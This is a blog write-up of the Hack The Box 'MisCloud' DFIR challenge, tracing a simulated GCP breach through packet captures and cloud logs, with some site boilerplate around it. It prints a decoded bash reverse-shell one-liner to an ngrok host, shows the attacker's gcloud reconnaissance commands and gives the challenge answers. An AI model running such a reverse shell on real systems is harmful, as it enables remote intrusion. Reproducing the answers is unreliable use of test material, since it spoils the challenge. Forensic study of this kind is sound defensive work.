
Currently working as a Senior Consultant at Netcompany spending my full-time job solving the SharePoint riddles. In the free time I'm expanding my understanding of cybersecurity through hacking activities. Git fanboy.
Search for a command to run...

Currently working as a Senior Consultant at Netcompany spending my full-time job solving the SharePoint riddles. In the free time I'm expanding my understanding of cybersecurity through hacking activities. Git fanboy.
No comments yet. Be the first to comment.
Sherlocks from Hack The Box are investigative challenges that test defensive security skills. [Are you ready to start investigation?](https://affiliate.hackthebox.com/sherlocks2352)
💡 This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...
A Deep Dive into Rootkit Detection via Linux Memory Forensics - HackTheBox Business CTF 2025

💡 This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...

💡 This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...

Hack The Box CTF Cyber Apocalypse 2025: Tales from Eldoria

Name: MisCloud
Category: DFIR
Difficulty: Medium (Solved)
My name is John. I am a student who started an e-commerce startup business named "DummyExample" with my partner, James. Initially, I was using WordPress and shared hosting. After experiencing good traffic, I decided to migrate from WordPress to a customized website on Google Cloud Platform (GCP). Currently, my partner and I are working on the website, contributing to a Gitea server hosted on GCP. I migrated all customer data to cloud storage. Recently, my data was breached, and I have no clue how it happened or what was vulnerable. My GCP infrastructure consists of five VM instances and a single Cloud Storage. There is one Windows machine for my partner to use, with very restricted permissions over GCP, only allowing access to his Gitea account. I have two Linux machines for my work, one for hosting the Gitea server and another for packet mirroring. All the machines have public IPs but very restricted access due to firewalls in place. Due to budget constraints, I can't use the Google Security Command Center service, so I am providing you with the VPC network traffic capture and the Google Cloud logs.
> get-fileHash *
Algorithm Hash Path
--------- ---- ----
SHA256 52645C94618E364F52D33E090A03E73967C907CF5BD2F3FF1851DAF84EBFB9D0 GCloud_Logs.json
SHA256 F4E3AC83B3478E976148F1788C407547A841D529F2E6611DE46EBB210829DBAB miscloud.zip
SHA256 E233A076D1830B5E8E83FDF82E9888A0B1A9F27B642D79467BB910DC5C3B5D83 VPCNetwork_Traffic.pcap
Pretty nice description from our buddy John here 👍. Here is the initial map of the servers I've created.

Quick PCAP statistics in Wireshark:

We have some heavy TCP traffic, including TLS and SSH. Possible sensitive data exfiltration.

These are probably IPs of the servers (10.*.*.* private subnet). There is one another IP being a destination of a single packet.

*.*.*.255 is a broadcast IP and packet is a HostAnnouncement Browser Frame. And it looks like we got a log from the Windows 10 Server (10.128.0.3)

John’s credentials to the Gitea service.

In one of the first packages, we can see the version of Gitea used (1.2.0).
In packet 20213 suspicious response can be seen:

Hmm, the whole traffic there looks suspicious.

It seems like a threat actor uses some kind of vulnerability in Git or Gitea to expose the files on the server (like cusdata.xlsx.enc).
Another packet looks like an RCE.

Decoded base64 (reverse shell): bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14509 0>&1 &
Seen in the broadcast message: 10.128.0.3.
Searching for the “Gitea 1.2.0 vulnerabilities” I landed at the CVEdetails

Because I’ve already seen the RCE I’m looking at those four from code executions category. This one looks like what we have here.

Already discovered: 0.tcp.eu.ngrok.io:14509
Packet from which the revshell request originates from is sourced at 10.128.0.3. And it’s a private address, so “inside job”.
Let’s browse the revshell communication.

Here we can see the commands and responses in plaintext.
Packet 13385:gcloud auth list
Packet 13392:
Credentialed Accounts
ACTIVE ACCOUNT
* 257145238219-compute@developer.gserviceaccount.com
That requires more revshell analysis. At some point, we can see that threat actor creates an id_rsa key for SSH purposes and continues from the SSH (revshell traffic gets quieter).

Because question asks which machines being logged into - that is safely to assume that apart from “current” system (10.128.0.4 as stated in the revshell packets) there are other SSHed servers.ip.src == 10.128.0.4 && ssh && ssh.protocol == "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"

Other revshell packet exposes all machines’ IPs.
$ gcloud compute instances list
NAME ZONE MACHINE_TYPE PREEMPTIBLE INTERNAL_IP EXTERNAL_IP STATUS
gitea-vm us-central1-a e2-medium 10.128.0.4 34.66.191.87 RUNNING
linux-machine1 us-central1-a e2-medium 10.128.0.7 34.42.164.212 RUNNING
linux-machine2 us-central1-a e2-medium 10.128.0.2 34.172.179.63 RUNNING
packet-mirror-instance us-central1-a e2-medium 10.128.0.5 34.28.192.153 RUNNING
windows-machine us-central1-a e2-medium 10.128.0.3 34.45.236.159 RUNNING
Unfortunately, gitea-vm is not accepted in the answer, despite being the first one in the chain - so the correct answer islinux-machine1,linux-machine2,packet-mirror-instance
From the included Google Cloud Services logs:


Searching for the exfiltrated file, leads to the principalEmail

I think this one was already found as well in the packet 20213 - 3389 (it is default RDP port).
This one is a bit of guessing… but it is what it is. HTTP Packet 18001 contains a Python script that was used to encrypt the file:

Another packet, 22604 contains the encrypted binary, which can be saved using File > Export > HTTP object.

When looking closer at the header of the file, it can easily be seen a repeatable phrase that could be an encryption key. After a couple tries, the platform accepts the correct answer.

Now that we have the encryption key, encryption method (symmetrical XOR) and encrypted data, we can put all of those together in CyberChef and get the decrypted spreadsheet.

The file then (so it won’t run it locally) can be previewed, for example on https://filehelper.com/formats/xlsx.

Last three questions are knowledge questions, answers for them can be Googled.